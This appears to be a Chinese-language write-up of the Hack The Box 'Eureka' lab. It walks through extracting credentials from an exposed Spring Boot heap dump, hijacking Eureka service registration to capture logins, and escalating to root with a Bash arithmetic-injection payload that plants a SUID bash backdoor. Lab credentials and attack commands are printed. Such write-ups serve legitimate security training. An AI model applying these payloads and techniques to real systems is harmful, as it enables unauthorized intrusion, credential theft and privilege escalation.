HTB Eureka靶机渗透实战 - Spring Boot堆转储与Bash算术注入漏洞利用

侦察

Nmap扫描发现三个开放端口:

  • SSH (22)
  • HTTP (80) - 重定向到furni.htb
  • HTTP (8761) - 需要基本认证

网站分析 - TCP 80

家具商店网站,技术栈为Spring Boot框架。通过feroxbuster目录扫描发现暴露的Actuator端点,特别是/actuator/heapdump堆转储端点。

获取oscar190用户Shell

堆转储分析

下载堆转储文件并使用多种工具分析:

  • VisualVM:图形化分析堆转储
  • JDumpSpider:自动化提取敏感信息

发现关键凭证:

  • 数据库连接字符串:jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}
  • Eureka服务认证:http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

SSH访问

使用发现的凭证成功SSH登录:

bash 复制代码
ssh oscar190@furni.htb
密码:0sc@r190_S0l!dP@sswd

获取miranda-wise用户Shell

系统枚举

发现多个Spring Boot应用:

  • cloud-gateway TCP 8080
  • User Management TCP 8081
  • Furni website TCP 8082
  • Eureka server TCP 8761

Spring Cloud Gateway劫持

利用Eureka服务注册机制:

  1. 注册恶意USER-MANAGEMENT-SERVICE实例指向攻击者IP
  2. 删除合法服务实例
  3. 拦截miranda-wise的登录请求

捕获到凭证:IL!veT0Be&BeT0L0ve

SSH访问miranda-wise

bash 复制代码
ssh miranda-wise@furni.htb
密码:IL!veT0Be&BeT0L0ve

获取root权限

漏洞分析

发现定时任务执行的/opt/log_analyse.sh脚本存在Bash算术注入漏洞:

bash 复制代码
analyze_http_statuses() {
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        # 漏洞:code变量直接用于算术比较
        if [[ "$existing_code" -eq "$code" ]]; then
            # ...
        fi
    done
}

漏洞利用

利用Bash算术表达式注入:

bash 复制代码
echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log

创建SUID bash后门并获取root shell:

bash 复制代码
/tmp/0xdf -p

总结

本渗透测试展示了Spring Boot应用安全配置不当导致的完整攻击链:从堆转储信息泄露到服务注册劫持,最终通过脚本漏洞实现权限提升。

相关推荐
weixin_448119942 分钟前
Datawhale Easy Data × AI:构建知识与记忆驱动的 Agent笔记3
人工智能·windows·笔记
u1301304 分钟前
GitHub 热榜项目:日榜(2026-10-08)
人工智能·github
逸模6 分钟前
BIM模型做一次要多少钱?值不值?
大数据·人工智能·公装·连锁公装·交底
野生码农AI实战14 分钟前
AI 看不了网页?我用 CDP 重建浏览器采集通道,30 行脚本 2.7 秒读完全文
数据库·人工智能·ai编程
硅谷秋水14 分钟前
将物理先验嵌入机器人学习:综述
人工智能·深度学习·机器学习·语言模型·机器人
怒放de生命201015 分钟前
2026年新加坡TOKEN2049大会:传统金融与加密世界的深度融合与现实叩问
人工智能·web3·去中心化·区块链·以太坊·分布式账本
科创致远15 分钟前
岳阳esop电子作业指导书:化工企业生产经理——化工生产最怕员工凭经验操作
大数据·人工智能·精益工程
Omics Pro16 分钟前
反式感知虚拟细胞!超越线性序列
数据库·人工智能·算法·机器学习·自然语言处理
Summer-Bright22 分钟前
深度 | OpenAI 甩出 722 篇数学论文,但黎曼猜想并没有被证明
人工智能·数学·openai